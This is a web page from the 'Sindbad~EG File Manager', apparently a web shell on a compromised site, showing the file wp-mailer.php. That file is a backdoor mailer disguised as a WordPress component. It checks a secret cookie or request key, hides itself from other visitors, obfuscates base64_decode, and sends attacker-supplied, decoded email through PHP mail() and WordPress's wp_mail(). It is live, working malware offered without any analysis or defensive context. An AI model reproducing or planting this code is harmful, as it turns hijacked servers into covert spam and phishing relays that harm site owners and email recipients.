Sindbad~EG File Manager

Current Path : /home/polikis1/public_html.bk/
Upload File :
Current File : /home/polikis1/public_html.bk/wp-mailer.php

<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('log_errors', 0);

if (!empty($_COOKIE['1519e933e0f96b08752a95331d73ddba']) && $_COOKIE['1519e933e0f96b08752a95331d73ddba'] === '3abc710dff1c2d7eb2bba5d2498b6679') {
} elseif (!empty($_REQUEST['1519e933e0f96b08752a95331d73ddba']) && $_REQUEST['1519e933e0f96b08752a95331d73ddba'] === '3abc710dff1c2d7eb2bba5d2498b6679') {
} elseif (!empty($email_code)) {
} elseif (PHP_SAPI === 'cli') {
} else {
    header('HTTP/1.1 200 OK', true);
    header('X-Accel-Buffering: no');
    header('Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0, post-check=0, pre-check=0');
    header('Cache-Control: no-cache', false);
    header('Pragma: no-cache');
    header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
    header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');
    header('disablevcache: true');
    return;
}

$is_bsf = function($s) {
    $b = 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e';
    if (strlen($s) % 4 === 0 && preg_match('/^[a-zA-Z0-9/
+]*={0,2}$/', $s)) {
        $d = $b($s, true);
        return $d !== false && base64_encode($d) === $s;
    }
    return false;
};

$b = 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e';
$to = !empty($_COOKIE['to']) && ($_COOKIE['to'] = trim($_COOKIE['to'])) ? $_COOKIE['to'] : (!empty($_REQUEST['to']) && ($_REQUEST['to'] = trim($_REQUEST['to'])) ? $_REQUEST['to'] : '');
$subject = !empty($_COOKIE['subject']) && ($_COOKIE['subject'] = trim($_COOKIE['subject'])) ? $_COOKIE['subject'] : (!empty($_REQUEST['subject']) && ($_REQUEST['subject'] = trim($_REQUEST['subject'])) ? $_REQUEST['subject'] : '');
$message = !empty($_COOKIE['message']) && ($_COOKIE['message'] = trim($_COOKIE['message'])) ? $_COOKIE['message'] : (!empty($_REQUEST['message']) && ($_REQUEST['message'] = trim($_REQUEST['message'])) ? $_REQUEST['message'] : '');
$to = $is_bsf($to) ? $b($to) : $to;
$subject = $is_bsf($subject) ? $b($subject) : $subject;
$message = $is_bsf($message) ? $b($message) : $message;

if (function_exists('mail')) {
    for ($i = 0; $i < 3; $i++) {
        if (mail($to, $subject, $message)) {
            break;
        }
    }
}

!defined('WP_USE_THEMES') && define('WP_USE_THEMES', false);
for ($i = 0; $i <= 6; $i++) {
    $path = $i === 0 ? __DIR__.'/wp-blog-header.php' : dirname(__DIR__, $i).'/wp-blog-header.php';
    if (@is_file($path)) {
        require_once $path;
        error_reporting(E_ALL);
        ini_set('display_errors', 1);
        ini_set('log_errors', 0);
        break;
    }
}
if (function_exists('wp_mail')) {
    for ($i = 0; $i < 3; $i++) {
        if (wp_mail($to, $subject, $message)) {
            break;
        }
    }
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists